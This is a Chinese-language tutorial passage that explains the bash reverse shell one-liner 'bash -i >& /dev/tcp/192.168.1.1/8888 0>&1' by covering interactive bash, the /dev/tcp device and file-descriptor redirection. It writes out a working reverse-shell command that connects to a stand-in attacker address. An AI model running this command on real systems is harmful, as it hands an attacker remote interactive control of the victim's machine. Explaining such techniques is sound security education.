分析bash反彈shell的原理
反彈shell的原理分析
bash -i >& /dev/tcp/192.168.1.1/8888 0>&1
代碼片段:可切換語言,無法單獨設置文字格式
這個經典反彈shell,我們從原理,命令拆解來解析。
原理
反彈shell是由攻擊者無法連接受害者而進行一種操作,可能目標是局域網內主機,或者開啟防火墻的某些策略等情況,我們就可以讓受害者主動向攻擊者發起連接,被控端發起請求到控制端某端口,并將其命令行的輸入輸出轉到控制端,從而實現交互。
命令拆解
bash
Linux中一般默認的shell是bash,它功能幾乎可以涵蓋shell所具有的功能,所以一般的shell腳本都會指定它為執行路徑
常用的shell有 ash、bash、dash,不同的shell都有自己的特點以及用途
bash -i 打開一個交互shell,如果shell含有-i參數,即為交互式。交互式的意思是可以和用戶進行交互,輸入命令,回顯給用戶就是一個交互的過程,而執行一個shell腳本往往是非交互的
如何確認目前的shell是不是交互的,通過echo $-,查看返回的值可以知道。如果帶有i參數即為交互式
他們之間就是有無I參數的確別。至于其他參數標示什么意思,就不在本次文章范圍內。
/dev目錄
dev是設備(device)的英文縮寫。這里主要存放與設備有關的文件。
/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還有/dev/udp/
/dev/tcp/192.168.1.1/8888
代碼片段:可切換語言,無法單獨設置文字格式
所以上述命令就是和192.168.1.1:8888建立TCP連接
文件標識符
Linux 系統中,把一切都看做是文件,當進程打開現有文件或創建新文件時,內核向進程返回一個文件描述符,文件描述符就是內核為了高效管理已被打開的文件所創建的索引,用來指向被打開的文件。
所有執行I/O操作的系統調用都會通過文件描述符,即文件描述符可控制輸入輸出(輸入/輸出重定向)
標準輸入(stdin):代碼為0,使用< 或<< ,默認設備鍵盤 標準輸出(stdout):代碼為1.使用>或>> 默認設備顯示器 標準錯誤輸出(stderr):代碼為2,使用2>或2>>,默認設備顯示器
代碼片段:可切換語言,無法單獨設置文字格式
shell輸入\輸出重定向
使用1>將輸出結果寫入到指定文件中,文件不存在則創建文件,文件如果存在會覆蓋原文件內容
省略不寫則默認就是1,同理,輸入重定向0< ,省略不寫則默認就是 0